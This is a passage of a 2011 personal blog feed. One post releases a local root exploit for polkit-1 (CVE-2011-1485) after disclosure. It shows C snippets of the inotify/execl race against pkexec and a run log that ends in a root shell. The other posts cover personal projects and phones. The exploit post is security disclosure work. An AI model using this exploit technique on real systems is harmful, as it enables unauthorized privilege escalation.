	<span style="color: #7a0874; font-weight: bold;">local</span> <span style="color: #007800;">shopts</span>=<span style="color: #007800;">$-</span>
	<span style="color: #000000; font-weight: bold;">set</span> <span style="color: #660033;">-o</span> noglob
	<span style="color: #000000; font-weight: bold;">for</span> no_inst <span style="color: #000000; font-weight: bold;">in</span> <span style="color: #800000;">${install_mask}</span>; <span style="color: #000000; font-weight: bold;">do</span>
		<span style="color: #000000; font-weight: bold;">set</span> +o noglob
		quiet_mode <span style="color: #000000; font-weight: bold;">||</span> einfo <span style="color: #ff0000;">&quot;Removing <span style="color: #007800;">${no_inst}</span>&quot;</span>
		<span style="color: #666666; font-style: italic;"># normal stuff</span>
		<span style="color: #c20cb9; font-weight: bold;">rm</span> <span style="color: #660033;">-Rf</span> <span style="color: #ff0000;">&quot;<span style="color: #007800;">${root}</span>&quot;</span><span style="color: #000000; font-weight: bold;">/</span><span style="color: #800000;">${no_inst}</span> <span style="color: #000000; font-weight: bold;">&gt;&amp;/</span>dev<span style="color: #000000; font-weight: bold;">/</span>null
&nbsp;
		<span style="color: #666666; font-style: italic;"># we also need to handle globs (*.a, *.h, etc)</span>
		<span style="color: #c20cb9; font-weight: bold;">find</span> <span style="color: #ff0000;">&quot;<span style="color: #007800;">${root}</span>&quot;</span> \<span style="color: #7a0874; font-weight: bold;">&#40;</span> <span style="color: #660033;">-path</span> <span style="color: #ff0000;">&quot;<span style="color: #007800;">${no_inst}</span>&quot;</span> <span style="color: #660033;">-or</span> <span style="color: #660033;">-name</span> <span style="color: #ff0000;">&quot;<span style="color: #007800;">${no_inst}</span>&quot;</span> \<span style="color: #7a0874; font-weight: bold;">&#41;</span> \
			<span style="color: #660033;">-exec</span> <span style="color: #c20cb9; font-weight: bold;">rm</span> <span style="color: #660033;">-fR</span> <span style="color: #7a0874; font-weight: bold;">&#123;</span><span style="color: #7a0874; font-weight: bold;">&#125;</span> \; <span style="color: #000000; font-weight: bold;">&gt;/</span>dev<span style="color: #000000; font-weight: bold;">/</span>null <span style="color: #000000;">2</span><span style="color: #000000; font-weight: bold;">&gt;&amp;</span><span style="color: #000000;">1</span>
	<span style="color: #000000; font-weight: bold;">done</span>
	<span style="color: #666666; font-style: italic;"># set everything back the way we found it</span>
	<span style="color: #000000; font-weight: bold;">set</span> +o noglob
	<span style="color: #000000; font-weight: bold;">set</span> -<span style="color: #800000;">${shopts}</span>
<span style="color: #7a0874; font-weight: bold;">&#125;</span></pre></div></div>

<div class="tantan-getcomments"><a href="http://blog.zx2c4.com/682#comments"><img src="http://blog.zx2c4.com/wp-content/plugins/tantan/get-comments.php?p=682" style="border:0;" /></a></div>]]></content:encoded>
			<wfw:commentRss>http://blog.zx2c4.com/682/feed</wfw:commentRss>
		<slash:comments>6</slash:comments>
		</item>
		<item>
		<title>PolicyKit Pwnage: linux local privilege escalation on polkit-1 </title>
		<link>http://blog.zx2c4.com/675</link>
		<comments>http://blog.zx2c4.com/675#comments</comments>
		<pubDate>Wed, 05 Oct 2011 09:35:28 +0000</pubDate>
		<dc:creator>Jason Donenfeld</dc:creator>
				<category><![CDATA[Uncategorized]]></category>
		<category><![CDATA[exploit]]></category>
		<category><![CDATA[Gentoo]]></category>
		<category><![CDATA[hacking]]></category>
		<category><![CDATA[KDE]]></category>
		<category><![CDATA[linux]]></category>
		<category><![CDATA[local root]]></category>
		<category><![CDATA[policykit]]></category>
		<category><![CDATA[security]]></category>
		<category><![CDATA[ubuntu]]></category>

		<guid isPermaLink="false">http://blog.zx2c4.com/?p=675</guid>
		<description><![CDATA[Since it&#8217;s been 6 months since reported, I figure it&#8217;s been a responsible amount of time for me to wait before releasing a local root exploit for Linux that targets polkit-1<div class="tantan-getcomments"><a href="http://blog.zx2c4.com/675#comments"><img src="http://blog.zx2c4.com/wp-content/plugins/tantan/get-comments.php?p=675" style="border:0;" /></a></div>]]></description>
			<content:encoded><![CDATA[<p>Since it&#8217;s been 6 months since reported, I figure it&#8217;s been a responsible amount of time for me to wait before releasing a local root exploit for Linux that targets polkit-1 <= 0.101, <a href="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2011-1485" onclick="pageTracker._trackPageview('/outgoing/cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2011-1485&amp;referer=');">CVE-2011-1485</a>, a race condition in PolicyKit. I present you with <a href="http://git.zx2c4.com/CVE-2011-1485/tree/polkit-pwnage.c" onclick="pageTracker._trackPageview('/outgoing/git.zx2c4.com/CVE-2011-1485/tree/polkit-pwnage.c?referer=');">PolicyKit Pwnage</a>.</p>
<p>David Zeuthen of Redhat <a href="https://bugzilla.redhat.com/show_bug.cgi?id=692922" onclick="pageTracker._trackPageview('/outgoing/bugzilla.redhat.com/show_bug.cgi?id=692922&amp;referer=');">explains on the original bug report</a>:</p>
<blockquote><p>Briefly, the problem is that the UID for the parent process of pkexec(1) is read from /proc by stat(2)&#8217;ing /proc/PID. The problem with this is that this returns the effective uid of the process which can easily be set to 0 by invoking a setuid-root binary such as /usr/bin/chsh in the parent process of pkexec(1). Instead we are really interested in the real-user-id. While there&#8217;s a check in pkexec.c to avoid this problem (by comparing it to what we expect the uid to be &#8211; namely that of the pkexec.c process itself which is the uid of the parent process at pkexec-spawn-time), there is still a short window where an attacker can fool pkexec/polkitd into thinking that the parent process has uid 0 and is therefore authorized. It&#8217;s pretty hard to hit this window &#8211; I actually don&#8217;t know if it can be made to work in practice.</p></blockquote>
<p>Well, here is, in fact, how it&#8217;s made to work in practice. There is as he said an attempted mitigation, and the way to trigger that mitigation path is something like this:</p>

<div class="wp_syntax"><div class="code"><pre class="bash" style="font-family:monospace;">     $ <span style="color: #c20cb9; font-weight: bold;">sudo</span> <span style="color: #660033;">-u</span> <span style="color: #000000; font-weight: bold;">`</span><span style="color: #c20cb9; font-weight: bold;">whoami</span><span style="color: #000000; font-weight: bold;">`</span> pkexec <span style="color: #c20cb9; font-weight: bold;">sh</span>
     User of caller <span style="color: #7a0874; font-weight: bold;">&#40;</span><span style="color: #000000;">0</span><span style="color: #7a0874; font-weight: bold;">&#41;</span> does not match our uid <span style="color: #7a0874; font-weight: bold;">&#40;</span><span style="color: #000000;">1000</span><span style="color: #7a0874; font-weight: bold;">&#41;</span></pre></div></div>

<p>Not what we want. So the trick is to execl to a suid at just the precise moment /proc/PID is being stat(2)&#8217;d. We use inotify to learn exactly when it&#8217;s accessed, and execl to the suid binary as our very next instruction.</p>

<div class="wp_syntax"><div class="code"><pre class="c" style="font-family:monospace;">	<span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span>fork<span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
		<span style="color: #993333;">int</span> fd<span style="color: #339933;">;</span>
		<span style="color: #993333;">char</span> pid_path<span style="color: #009900;">&#91;</span><span style="color: #0000dd;">1024</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">;</span>
		sprintf<span style="color: #009900;">&#40;</span>pid_path<span style="color: #339933;">,</span> <span style="color: #ff0000;">&quot;/proc/%i&quot;</span><span style="color: #339933;">,</span> getpid<span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
		<span style="color: #000066;">printf</span><span style="color: #009900;">&#40;</span><span style="color: #ff0000;">&quot;[+] Configuring inotify for proper pid.<span style="color: #000099; font-weight: bold;">\n</span>&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
		close<span style="color: #009900;">&#40;</span><span style="color: #0000dd;">0</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> close<span style="color: #009900;">&#40;</span><span style="color: #0000dd;">1</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> close<span style="color: #009900;">&#40;</span><span style="color: #0000dd;">2</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
		fd <span style="color: #339933;">=</span> inotify_init<span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
		<span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span>fd <span style="color: #339933;">&lt;</span> <span style="color: #0000dd;">0</span><span style="color: #009900;">&#41;</span>
			perror<span style="color: #009900;">&#40;</span><span style="color: #ff0000;">&quot;[-] inotify_init&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
		inotify_add_watch<span style="color: #009900;">&#40;</span>fd<span style="color: #339933;">,</span> pid_path<span style="color: #339933;">,</span> IN_ACCESS<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
		read<span style="color: #009900;">&#40;</span>fd<span style="color: #339933;">,</span> NULL<span style="color: #339933;">,</span> <span style="color: #0000dd;">0</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span></pre></div></div>

<p>All the code up to this point makes this process <i>block</i> until /proc/PID is read, at which point it:</p>

<div class="wp_syntax"><div class="code"><pre class="c" style="font-family:monospace;">		execl<span style="color: #009900;">&#40;</span><span style="color: #ff0000;">&quot;/usr/bin/chsh&quot;</span><span style="color: #339933;">,</span> <span style="color: #ff0000;">&quot;chsh&quot;</span><span style="color: #339933;">,</span> NULL<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span></pre></div></div>

<p>Which is suid. Meanwhile in the other process, we launch pkexec, which skirts passed the initial checks, but gets fooled when we change the uid of the parent process:</p>

<div class="wp_syntax"><div class="code"><pre class="c" style="font-family:monospace;">	<span style="color: #009900;">&#125;</span> <span style="color: #b1b100;">else</span> <span style="color: #009900;">&#123;</span>
		sleep<span style="color: #009900;">&#40;</span><span style="color: #0000dd;">1</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
		<span style="color: #000066;">printf</span><span style="color: #009900;">&#40;</span><span style="color: #ff0000;">&quot;[+] Launching pkexec.<span style="color: #000099; font-weight: bold;">\n</span>&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
		execl<span style="color: #009900;">&#40;</span><span style="color: #ff0000;">&quot;/usr/bin/pkexec&quot;</span><span style="color: #339933;">,</span> <span style="color: #ff0000;">&quot;pkexec&quot;</span><span style="color: #339933;">,</span> <span style="color: #ff0000;">&quot;/bin/sh&quot;</span><span style="color: #339933;">,</span> NULL<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
	<span style="color: #009900;">&#125;</span></pre></div></div>

<p>And it works:</p>

<div class="wp_syntax"><div class="code"><pre class="bash" style="font-family:monospace;"> $ pkexec <span style="color: #660033;">--version</span>
 pkexec version <span style="color: #000000;">0.101</span>
 $ <span style="color: #c20cb9; font-weight: bold;">gcc</span> polkit-pwnage.c <span style="color: #660033;">-o</span> pwnit
 $ .<span style="color: #000000; font-weight: bold;">/</span>pwnit 
 <span style="color: #7a0874; font-weight: bold;">&#91;</span>+<span style="color: #7a0874; font-weight: bold;">&#93;</span> Configuring inotify <span style="color: #000000; font-weight: bold;">for</span> proper pid.
 <span style="color: #7a0874; font-weight: bold;">&#91;</span>+<span style="color: #7a0874; font-weight: bold;">&#93;</span> Launching pkexec.
 sh-<span style="color: #000000;">4.2</span><span style="color: #666666; font-style: italic;"># whoami</span>
 root
 sh-<span style="color: #000000;">4.2</span><span style="color: #666666; font-style: italic;"># id</span>
 <span style="color: #007800;">uid</span>=<span style="color: #000000;">0</span><span style="color: #7a0874; font-weight: bold;">&#40;</span>root<span style="color: #7a0874; font-weight: bold;">&#41;</span> <span style="color: #007800;">gid</span>=<span style="color: #000000;">0</span><span style="color: #7a0874; font-weight: bold;">&#40;</span>root<span style="color: #7a0874; font-weight: bold;">&#41;</span> <span style="color: #007800;">groups</span>=<span style="color: #000000;">0</span><span style="color: #7a0874; font-weight: bold;">&#40;</span>root<span style="color: #7a0874; font-weight: bold;">&#41;</span>,<span style="color: #000000;">1</span><span style="color: #7a0874; font-weight: bold;">&#40;</span>bin<span style="color: #7a0874; font-weight: bold;">&#41;</span>,<span style="color: #000000;">2</span><span style="color: #7a0874; font-weight: bold;">&#40;</span>daemon<span style="color: #7a0874; font-weight: bold;">&#41;</span>,<span style="color: #000000;">3</span><span style="color: #7a0874; font-weight: bold;">&#40;</span>sys<span style="color: #7a0874; font-weight: bold;">&#41;</span>,<span style="color: #000000;">4</span><span style="color: #7a0874; font-weight: bold;">&#40;</span>adm<span style="color: #7a0874; font-weight: bold;">&#41;</span>
 sh-<span style="color: #000000;">4.2</span><span style="color: #666666; font-style: italic;">#</span></pre></div></div>

<p>This exploit is known to work on polkit-1 <= 0.101. However, Ubuntu, which as of writing uses 0.101, has backported 0.102's bug fix. A way to check this is by looking at the mtime of /usr/bin/pkexec -- April 19, 2011 or later and you're out of luck. It's likely other distributions do the same. Fortunately, this exploit is clean enough that you can try it out without too much collateral.</p>
<p><a href="http://git.zx2c4.com/CVE-2011-1485/tree/polkit-pwnage.c" onclick="pageTracker._trackPageview('/outgoing/git.zx2c4.com/CVE-2011-1485/tree/polkit-pwnage.c?referer=');">So head on over and try it out!</a> You can watch it in action <a href="http://www.youtube.com/watch?v=TtUN_k3UWfs" onclick="pageTracker._trackPageview('/outgoing/www.youtube.com/watch?v=TtUN_k3UWfs&amp;referer=');">over on YouTube</a> as well:<br />
<object width="404" height="400"><param name="movie" value="http://www.youtube-nocookie.com/v/TtUN_k3UWfs?version=3&amp;hl=en_US"></param><param name="allowFullScreen" value="true"></param><param name="allowscriptaccess" value="always"></param><embed src="http://www.youtube-nocookie.com/v/TtUN_k3UWfs?version=3&amp;hl=en_US" type="application/x-shockwave-flash" width="404" height="400" allowscriptaccess="always" allowfullscreen="true"></embed></object></p>
<p>Greets to <a href="http://vulnfactory.org/" onclick="pageTracker._trackPageview('/outgoing/vulnfactory.org/?referer=');">Dan</a>.</p>
<div class="tantan-getcomments"><a href="http://blog.zx2c4.com/675#comments"><img src="http://blog.zx2c4.com/wp-content/plugins/tantan/get-comments.php?p=675" style="border:0;" /></a></div>]]></content:encoded>
			<wfw:commentRss>http://blog.zx2c4.com/675/feed</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
		<item>
		<title>Work Featured in Paris Expo</title>
		<link>http://blog.zx2c4.com/670</link>
		<comments>http://blog.zx2c4.com/670#comments</comments>
		<pubDate>Sat, 01 Oct 2011 22:57:12 +0000</pubDate>
		<dc:creator>Jason Donenfeld</dc:creator>
				<category><![CDATA[Uncategorized]]></category>
		<category><![CDATA[Grafitroniks]]></category>
		<category><![CDATA[paris]]></category>
		<category><![CDATA[printcompositor]]></category>
		<category><![CDATA[viscom]]></category>

		<guid isPermaLink="false">http://blog.zx2c4.com/?p=670</guid>
		<description><![CDATA[My work for Grafitroniks was featured in an expo in Paris last week: I built the PrintCompositor.<div class="tantan-getcomments"><a href="http://blog.zx2c4.com/670#comments"><img src="http://blog.zx2c4.com/wp-content/plugins/tantan/get-comments.php?p=670" style="border:0;" /></a></div>]]></description>
			<content:encoded><![CDATA[<p>My work for <a href="http://www.grafitroniks.fr" onclick="pageTracker._trackPageview('/outgoing/www.grafitroniks.fr?referer=');">Grafitroniks</a> was featured in an expo in Paris last week:</p>
<div id="attachment_671" class="wp-caption aligncenter" style="width: 1034px"><a href="http://blog.zx2c4.com/wp-content/uploads/2011/10/DSC_0291.jpg"><img src="http://blog.zx2c4.com/wp-content/uploads/2011/10/DSC_0291-1024x685.jpg" alt="Viscom 2011" title="Viscom 2011" width="1024" height="685" class="size-large wp-image-671" /></a><p class="wp-caption-text">Viscom 2011</p></div>
<p>I built the PrintCompositor.</p>
<div class="tantan-getcomments"><a href="http://blog.zx2c4.com/670#comments"><img src="http://blog.zx2c4.com/wp-content/plugins/tantan/get-comments.php?p=670" style="border:0;" /></a></div>]]></content:encoded>
			<wfw:commentRss>http://blog.zx2c4.com/670/feed</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>vcardexport for Meego Harmattan</title>
		<link>http://blog.zx2c4.com/660</link>
		<comments>http://blog.zx2c4.com/660#comments</comments>
		<pubDate>Mon, 19 Sep 2011 23:21:15 +0000</pubDate>
		<dc:creator>Jason Donenfeld</dc:creator>
				<category><![CDATA[Uncategorized]]></category>
		<category><![CDATA[aegis]]></category>
		<category><![CDATA[betamax]]></category>
		<category><![CDATA[console]]></category>
		<category><![CDATA[harmattan]]></category>
		<category><![CDATA[KDE]]></category>
		<category><![CDATA[meego]]></category>
		<category><![CDATA[n950]]></category>
		<category><![CDATA[Nokia]]></category>
		<category><![CDATA[Qt]]></category>
		<category><![CDATA[qtmobility]]></category>
		<category><![CDATA[vcard]]></category>
		<category><![CDATA[vcf]]></category>

		<guid isPermaLink="false">http://blog.zx2c4.com/?p=660</guid>
		<description><![CDATA[The vcard export GUI feature of the contacts app on the N950 is broken. The console app &#8220;vcardconverter&#8221; successfully digests vcards, but you won&#8217;t be able to get them out. In my case, it converted some back to vcards, but failed on others. Unacceptable. For updating to today&#8217;s new firmware, I didn&#8217;t want to take [...]<div class="tantan-getcomments"><a href="http://blog.zx2c4.com/660#comments"><img src="http://blog.zx2c4.com/wp-content/plugins/tantan/get-comments.php?p=660" style="border:0;" /></a></div>]]></description>
			<content:encoded><![CDATA[<p><a href="http://blog.zx2c4.com/wp-content/uploads/2011/09/BrokenContacts.png"><img src="http://blog.zx2c4.com/wp-content/uploads/2011/09/BrokenContacts-337x600.png" alt="" title="N950 Broken Export" width="337" height="600" class="alignright size-medium wp-image-665" /></a>The vcard export GUI feature of the contacts app on the N950 is broken. The console app &#8220;vcardconverter&#8221; successfully digests vcards, but you won&#8217;t be able to get them out. In my case, it converted some back to vcards, but failed on others. Unacceptable. For updating to <a href="http://www.developer.nokia.com/info/sw.nokia.com/id/db230178-aa63-4c73-ba7f-20930da13cad/Nokia_N950_OneClickFlashers.html" onclick="pageTracker._trackPageview('/outgoing/www.developer.nokia.com/info/sw.nokia.com/id/db230178-aa63-4c73-ba7f-20930da13cad/Nokia_N950_OneClickFlashers.html?referer=');">today&#8217;s new firmware</a>, I didn&#8217;t want to take a full backup of the tracker database, choosing instead to start fresh, suspecting that the new firmware fixes <i>a lot</i> of bugs. How, then, was I to backup my contacts, if I wasn&#8217;t going to backup the tracker? Vcard is the perfect neutral format for this.</p>
<p>So in a few lines of easy Qt/C++, I wrote vcardexport, a console application. It spits all the contacts out into one giant vcard file that can be reimported later with vcardconverter. Simple and easy. The biggest pain was getting the Aegis manifest correct, as the auto-generation tool is broken, and documentation is kind of sparse, but it&#8217;s all sorted now.</p>
<p>You can <a href="http://git.zx2c4.com/vcardexport/tree/" onclick="pageTracker._trackPageview('/outgoing/git.zx2c4.com/vcardexport/tree/?referer=');">browse the source here</a> or <a href="http://zx2c4.com/projects/vcardexport/" onclick="pageTracker._trackPageview('/outgoing/zx2c4.com/projects/vcardexport/?referer=');">download the latest deb from here</a>.</p>
<p><b>Usage:</b></p>
<pre>$ /opt/vcardexport/bin/vcardexport > ~/vcards.vcf</pre>
<p>Hope this is helpful. Enjoy the new firmware:</p>
<pre>
    image        [state    progress         transfer     flash speed]
---------------------------------------------------------------------
[x] cert-sw      [finished   100 %       1 /       1 kB      NA     ]
[x] cmt-2nd      [finished   100 %      95 /      95 kB      NA     ]
[x] cmt-algo     [finished   100 %     789 /     789 kB      NA     ]
[x] cmt-mcusw    [finished   100 %    6008 /    6008 kB    2933 kB/s]
[x] xloader      [finished   100 %      23 /      23 kB      NA     ]
[x] secondary    [finished   100 %      88 /      88 kB      NA     ]
[x] kernel       [finished   100 %    2708 /    2708 kB    2024 kB/s]
[x] rootfs       [finished   100 %  326205 /  326205 kB    7339 kB/s]
[x] mmc          [finished   100 %  204747 /  204747 kB   17604 kB/s]
Updating SW release
Success
</pre>
<div class="tantan-getcomments"><a href="http://blog.zx2c4.com/660#comments"><img src="http://blog.zx2c4.com/wp-content/plugins/tantan/get-comments.php?p=660" style="border:0;" /></a></div>]]></content:encoded>
			<wfw:commentRss>http://blog.zx2c4.com/660/feed</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>How many clicks &#8217;til Philosophy?</title>
		<link>http://blog.zx2c4.com/654</link>
		<comments>http://blog.zx2c4.com/654#comments</comments>
		<pubDate>Wed, 07 Sep 2011 09:05:32 +0000</pubDate>
		<dc:creator>Jason Donenfeld</dc:creator>
				<category><![CDATA[Uncategorized]]></category>
		<category><![CDATA[node.js]]></category>
		<category><![CDATA[philosophy]]></category>
		<category><![CDATA[scraping]]></category>
		<category><![CDATA[wikipedia]]></category>

		<guid isPermaLink="false">http://blog.zx2c4.com/?p=654</guid>
		<description><![CDATA[Ryan had a pretty funny idea I saw in his github &#8212; How many clicks does it take on Wikipedia from any given article to the article on &#8220;Philosophy&#8221;. He started to implement it by choosing the first link on each page and following that. He wrote it in node.js and jsdom. I rewrote his [...]<div class="tantan-getcomments"><a href="http://blog.zx2c4.com/654#comments"><img src="http://blog.zx2c4.com/wp-content/plugins/tantan/get-comments.php?p=654" style="border:0;" /></a></div>]]></description>
			<content:encoded><![CDATA[<p><a href="http://meltingice.net" onclick="pageTracker._trackPageview('/outgoing/meltingice.net?referer=');">Ryan</a> had a pretty funny idea I saw in his github &#8212; <i>How many clicks does it take on Wikipedia from any given article to the article on &#8220;Philosophy&#8221;</i>. He started to implement it by choosing the first link on each page and following that. He wrote it in <a href="http://nodejs.org" onclick="pageTracker._trackPageview('/outgoing/nodejs.org?referer=');">node.js</a> and <a href="http://jsdom.org" onclick="pageTracker._trackPageview('/outgoing/jsdom.org?referer=');">jsdom</a>. I rewrote his script (97% rewrite, according to git) to instead generate a tree structure of all the links on each page and then do a breadth first search on the tree to continually request new pages <i>in parallel</i>. It seems to be working amazingly well:</p>
<pre>
$ node wiki-philosophy.js Seinfeld
Seinfeld
        Nihilism
                Philosophy

$ node wiki-philosophy.js Superman
Superman
        Cultural icon
                Philosophy

$ node wiki-philosophy.js Burrito
Burrito
        Mexican cuisine
                Tribute
                        Philosophy
</pre>
<p>Play around with it! <a href="http://git.zx2c4.com/wiki-philosophy/about" onclick="pageTracker._trackPageview('/outgoing/git.zx2c4.com/wiki-philosophy/about?referer=');"><b>I&#8217;ve posted it with install instructions over in my git repository.</b></a> Hopefully Ryan will pull back my changes into his repository and continue to develop this into something creative.</p>
<div class="tantan-getcomments"><a href="http://blog.zx2c4.com/654#comments"><img src="http://blog.zx2c4.com/wp-content/plugins/tantan/get-comments.php?p=654" style="border:0;" /></a></div>]]></content:encoded>
			<wfw:commentRss>http://blog.zx2c4.com/654/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Google Code Supports Git</title>
		<link>http://blog.zx2c4.com/646</link>
		<comments>http://blog.zx2c4.com/646#comments</comments>
		<pubDate>Fri, 15 Jul 2011 19:21:53 +0000</pubDate>
		<dc:creator>Jason Donenfeld</dc:creator>
				<category><![CDATA[Uncategorized]]></category>
		<category><![CDATA[Git]]></category>
		<category><![CDATA[Google]]></category>
		<category><![CDATA[KDE]]></category>

		<guid isPermaLink="false">http://blog.zx2c4.com/?p=646</guid>
		<description><![CDATA[It&#8217;s about time!<div class="tantan-getcomments"><a href="http://blog.zx2c4.com/646#comments"><img src="http://blog.zx2c4.com/wp-content/plugins/tantan/get-comments.php?p=646" style="border:0;" /></a></div>]]></description>
			<content:encoded><![CDATA[<p><a href="http://code.google.com/p/support/issues/detail?id=2454#c43" onclick="pageTracker._trackPageview('/outgoing/code.google.com/p/support/issues/detail?id=2454_c43&amp;referer=');">It&#8217;s about time!</a></p>
<div class="tantan-getcomments"><a href="http://blog.zx2c4.com/646#comments"><img src="http://blog.zx2c4.com/wp-content/plugins/tantan/get-comments.php?p=646" style="border:0;" /></a></div>]]></content:encoded>
			<wfw:commentRss>http://blog.zx2c4.com/646/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Qt Workshop for Columbia&#8217;s Application Development Initiative</title>
		<link>http://blog.zx2c4.com/627</link>
		<comments>http://blog.zx2c4.com/627#comments</comments>
		<pubDate>Sat, 25 Jun 2011 18:17:24 +0000</pubDate>
		<dc:creator>Jason Donenfeld</dc:creator>
				<category><![CDATA[Uncategorized]]></category>
		<category><![CDATA[ADI]]></category>
		<category><![CDATA[columbia]]></category>
		<category><![CDATA[Demo]]></category>
		<category><![CDATA[education]]></category>
		<category><![CDATA[KDE]]></category>
		<category><![CDATA[lecture]]></category>
		<category><![CDATA[Qt]]></category>
		<category><![CDATA[talk]]></category>
		<category><![CDATA[video]]></category>

		<guid isPermaLink="false">http://blog.zx2c4.com/?p=627</guid>
		<description><![CDATA[Back in February I gave a workshop seminar on the basics of Qt &#8212; covering signals, slots, the metaobject system, QtGui, QtWebkit, and Qt Creator. We all built a fully functional web browser together, over the course of about an hour. The entirety was spoken just off the top of my head, so it might [...]<div class="tantan-getcomments"><a href="http://blog.zx2c4.com/627#comments"><img src="http://blog.zx2c4.com/wp-content/plugins/tantan/get-comments.php?p=627" style="border:0;" /></a></div>]]></description>
			<content:encoded><![CDATA[<p>Back in February I gave a workshop seminar on the basics of Qt &#8212; covering signals, slots, the metaobject system, QtGui, QtWebkit, and Qt Creator. We all built a fully functional web browser together, over the course of about an hour. The entirety was spoken just off the top of my head, so it might be slightly disorganized, but there was pretty high reception from it. I know that following the presentation, at least two people went on to use Qt for major projects. Here&#8217;s the presentation:</p>
<p><center><object width="405" height="750"><param name="movie" value="http://www.youtube.com/v/xtssLlz5pUs?version=3&amp;hl=en_US&amp;rel=0&amp;hd=1"></param><param name="allowFullScreen" value="true"></param><param name="allowscriptaccess" value="always"></param><embed src="http://www.youtube.com/v/xtssLlz5pUs?version=3&amp;hl=en_US&amp;rel=0&amp;hd=1" type="application/x-shockwave-flash" width="405" height="750" allowscriptaccess="always" allowfullscreen="true"></embed></object><br />
<a href="http://www.youtube.com/watch?v=xtssLlz5pUs" onclick="pageTracker._trackPageview('/outgoing/www.youtube.com/watch?v=xtssLlz5pUs&amp;referer=');"><b>Direct YouTube Link</b></a></center></p>
<p>Unfortunately, the projector in the room was broken, so we all had to huddle around my laptop, which actually had the effect of making the workshop much more intimate. If you&#8217;re interested, <a href="http://git.zx2c4.com/TalkBrowser/tree/" onclick="pageTracker._trackPageview('/outgoing/git.zx2c4.com/TalkBrowser/tree/?referer=');">here&#8217;s the code we wrote together</a>.</p>
<div class="tantan-getcomments"><a href="http://blog.zx2c4.com/627#comments"><img src="http://blog.zx2c4.com/wp-content/plugins/tantan/get-comments.php?p=627" style="border:0;" /></a></div>]]></content:encoded>
			<wfw:commentRss>http://blog.zx2c4.com/627/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Wanted: Nokia E52-2</title>
		<link>http://blog.zx2c4.com/620</link>
		<comments>http://blog.zx2c4.com/620#comments</comments>
		<pubDate>Sun, 19 Jun 2011 19:49:53 +0000</pubDate>
		<dc:creator>Jason Donenfeld</dc:creator>
				<category><![CDATA[Uncategorized]]></category>
		<category><![CDATA[E52]]></category>
		<category><![CDATA[KDE]]></category>
		<category><![CDATA[mobile]]></category>
		<category><![CDATA[Nokia]]></category>
		<category><![CDATA[phone]]></category>

		<guid isPermaLink="false">http://blog.zx2c4.com/?p=620</guid>
		<description><![CDATA[The Nokia E52 is the most awesome phone ever made. It has a normal T9 keypad, GPS, 3G, Wifi, and runs Symbian. These are the features I need. Sure Android and others are more modern operating systems, but there is no smartphone OS that has phones with T9 hardware keypads of this form factor, except [...]<div class="tantan-getcomments"><a href="http://blog.zx2c4.com/620#comments"><img src="http://blog.zx2c4.com/wp-content/plugins/tantan/get-comments.php?p=620" style="border:0;" /></a></div>]]></description>
			<content:encoded><![CDATA[<p><img src="http://st2.gsmarena.com/vv/bigpic/nokia-e52.jpg" align="right" />The <a href="http://en.wikipedia.org/wiki/Nokia_E52" onclick="pageTracker._trackPageview('/outgoing/en.wikipedia.org/wiki/Nokia_E52?referer=');">Nokia E52</a> is the most awesome phone ever made. It has a normal T9 keypad, GPS, 3G, Wifi, and runs Symbian. These are the features I need. Sure Android and others are more modern operating systems, but there is no smartphone OS that has phones with T9 hardware keypads of this form factor, except for the E52. There is one problem: <i>it&#8217;s not made anymore</i></p>
<p>There are two models of the E52 &#8212; the E52-1, which has European 3G frequencies, and the E52-2, which has North American 3G frequencies. I&#8217;m looking for the E52-2.</p>
<p><b>If anyone knows there whereabouts of an E52-2, please inform me. I will bid high.</b></p>
<div class="tantan-getcomments"><a href="http://blog.zx2c4.com/620#comments"><img src="http://blog.zx2c4.com/wp-content/plugins/tantan/get-comments.php?p=620" style="border:0;" /></a></div>]]></content:encoded>
			<wfw:commentRss>http://blog.zx2c4.com/620/feed</wfw:commentRss>
		<slash:comments>8</slash:comments>
		</item>
		<item>
		<title>Luddite Seeks Futuristic Phone</title>
		<link>http://blog.zx2c4.com/614</link>
		<comments>http://blog.zx2c4.com/614#comments</comments>
		<pubDate>Thu, 02 Jun 2011 08:07:11 +0000</pubDate>
		<dc:creator>Jason Donenfeld</dc:creator>
				<category><![CDATA[Uncategorized]]></category>
		<category><![CDATA[android]]></category>
		<category><![CDATA[Blackberry]]></category>
		<category><![CDATA[ericson]]></category>
		<category><![CDATA[KDE]]></category>
		<category><![CDATA[lazyweb]]></category>
		<category><![CDATA[meego]]></category>
		<category><![CDATA[mobile]]></category>
		<category><![CDATA[neccesitas]]></category>
		<category><![CDATA[Nokia]]></category>
		<category><![CDATA[phone]]></category>
		<category><![CDATA[sony]]></category>
		<category><![CDATA[WebOS]]></category>
		<category><![CDATA[Windows]]></category>
		<category><![CDATA[xperia]]></category>

		<guid isPermaLink="false">http://blog.zx2c4.com/?p=614</guid>
